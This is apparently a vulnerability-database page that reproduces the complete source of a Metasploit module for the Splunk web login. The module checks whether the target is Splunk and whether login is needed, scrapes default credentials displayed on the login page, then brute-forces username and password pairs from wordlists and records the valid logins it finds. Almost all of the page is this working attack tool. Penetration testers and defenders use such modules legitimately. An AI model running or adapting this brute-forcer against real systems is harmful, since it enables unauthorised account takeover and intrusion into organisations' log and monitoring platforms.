Lucene search
K

Splunk Web Interface Login Utility

🗓️ 24 Nov 2012 21:05:57Reported by Vlatko Kosturjak <[email protected]>, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 38 Views

Splunk Web Interface Login Utility, attempts login to a Splunk web interface, detects default credentials and brute-forces others if needed

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Splunk Web Interface Login Utility',
      'Description'    => %{
        This module simply attempts to login to a Splunk web interface.  Please note the
        free version of Splunk actually does not require any authentication, in that case
        the module will abort trying.  Also, some Splunk applications still have the
        default credential 'admin:changeme' written on the login page.  If this default
        credential is found, the module will also store that information, and then move on
        to trying more passwords.
      },
      'Author'         =>
        [
          'Vlatko Kosturjak <kost[at]linux.hr>',
          'sinn3r'
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('URI', [true, "URI for Splunk Web login. Default is /en-US/account/login", "/en-US/account/login"]),
        OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
          File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]),
        OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
        OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ])
      ])
  end

  def run_host(ip)
    if not is_app_splunk?
      print_error("Application does not appear to be Splunk. Module will not continue.")
      return
    end

    print_status("Checking if authentication is required...")
    if not is_auth_required?
      print_warning("Application does not require authentication.")
      return
    end

    status = try_default_credential
    return if status == :abort

    print_status("Brute-forcing...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end


  #
  # What's the point of running this module if the app actually isn't Splunk?
  #
  def is_app_splunk?
    res = send_request_raw({'uri' => datastore['URI']})
    return (res and res.code == 200 and res.body =~ /Splunk/)
  end

  def get_login_cookie
    res = send_request_raw({'uri' => datastore['URI']})

    uid             = ''
    session_id_port = ''
    session_id      = ''
    cval            = ''

    if res and res.code == 200 and !res.get_cookies.empty?
      res.get_cookies.split(';').each {|c|
        c.split(',').each {|v|
          if v.split('=')[0] =~ /cval/
            cval = v.split('=')[1]
          elsif v.split('=')[0] =~ /uid/
            uid = v.split('=')[1]
          elsif v.split('=')[0] =~ /session_id/
            session_id_port = v.split('=')[0]
            session_id = v.split('=')[1]
          end
        }
      }
      return uid.strip, session_id_port.strip, session_id.strip, cval.strip
    end

    return nil
  end


  #
  # Test and see if the default credential works
  #
  def try_default_credential
    p = /Splunk's default credentials are <\/p><p>username: <span>(.+)<\/span><br \/>password: <span>(.+)<\/span>/
    res = send_request_raw({'uri' => datastore['URI']})
    user, pass = res.body.scan(p).flatten
    do_login(user, pass) if user and pass
  end


  #
  # The free version of Splunk does not require authentication. Instead, it'll log the
  # user right in as 'admin'. If that's the case, no point to brute-force, either.
  #
  def is_auth_required?
    uid, session_id_port, session_id, cval = get_login_cookie
    res = send_request_raw({
      'uri'    => '/en-US/app/launcher/home',
      'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}"
    })

    return (res and res.body =~ /Logged in as (.+)/) ? false : true
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'splunk-web',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  #
  # Brute-force the login page
  #
  def do_login(user, pass)
    vprint_status("Trying username:'#{user}' with password:'#{pass}'")
    begin
      cval = ''
      uid, session_id_port, session_id, cval = get_login_cookie
      if !uid or !session_id_port or !session_id or !cval
        print_error("Failed to get login cookies, aborting!")
        return :abort
      end

      res = send_request_cgi(
      {
        'uri'       => datastore['URI'],
        'method'    => 'POST',
        'cookie'    => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
        'vars_post' =>
          {
            'cval'     => cval,
            'username' => user,
            'password' => pass
          }
      })

      if not res
        vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' returned no response")
        return :skip_pass
      end

      unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}'))
        vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
        return :skip_pass
      end

      print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
      report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass, proof: res.code.to_s)


      return :next_user

    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      print_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2017 13:26Current
6.9Medium risk
Vulners AI Score6.9
38